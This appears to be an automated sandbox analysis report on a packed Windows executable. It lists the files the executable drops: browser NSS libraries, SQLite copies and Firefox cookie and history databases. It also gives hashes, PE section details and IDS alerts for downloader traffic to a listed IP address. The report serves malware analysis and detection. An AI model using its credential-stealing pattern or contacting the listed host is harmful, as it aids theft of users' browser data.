SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDBFCGIIIJDBGCBGIDGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGDHIECAKJKKECFHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: 1p5yg5LO0h.exe, Detection: malicious, Browse Filename: OmnqazpM3P.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: 1p5yg5LO0h.exe, Detection: malicious, Browse Filename: OmnqazpM3P.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944068924205058
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'778'688 bytes
MD5:	c062e3b2bc5292e4a0e2abf257a1c8b3
SHA1:	ad0878c0ae151822e41d7f50183a238a42e86075
SHA256:	c499eaaf969ae158153fc3f7422ab4151769c5c7464c330fac0fc4ce11e248a2
SHA512:	730374ea43ad55e306fc34af0740aa54fd77d3476786e2377ad05f360448631cba66b4d568b4fda7c0ecd467789a92f24be619ac46b4a4316cb53fa176b754b8
SSDEEP:	24576:2qgoahhaH2fWJcmNbAYIY4il2Ogm07k1WWY6L6zH+EFJVPGDuOhw5N84+5/Ve9z9:HIhh4TbZAh7PzHFLVPkuv8nVe1Knib
TLSH:	F58533C0137595BBDC2516B0E8D6EE1EBB18279F08C1792A77C712ED23BA6437139E90
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa7b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66C88B4D [Fri Aug 23 13:14:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE4F91576DAh
lar ebx, word ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x23f050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x23f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x23d000	0x13c00	d58fbeaac1bcbd18dea1d7d639f0ac19	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x23e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x23f000	0x1000	0x200	380655991303f284fcb90ef8e49522a1	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x240000	0x29f000	0x200	2d2b0af058599444cd6fdff7644858fa	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yvwooyxr	0x4df000	0x19b000	0x19ae00	6cab8584812feba9571cb026228c521a	False	0.9949618050273806	data	7.954486977598155	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wzpzwqon	0x67a000	0x1000	0x400	7054cf29cfb5073f50629ad53755366b	False	0.7822265625	data	6.154955152158854	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x67b000	0x3000	0x2200	ea37960a0bc23adcb0f339da9cfd2ced	False	0.06652113970588236	DOS executable (COM)	0.8508256778374006	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-31T22:05:19.803414+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49704	80	192.168.2.8	185.215.113.100
2024-08-31T22:05:28.104282+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49704	80	192.168.2.8	185.215.113.100
2024-08-31T22:05:30.124548+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49704	80	192.168.2.8	185.215.113.100
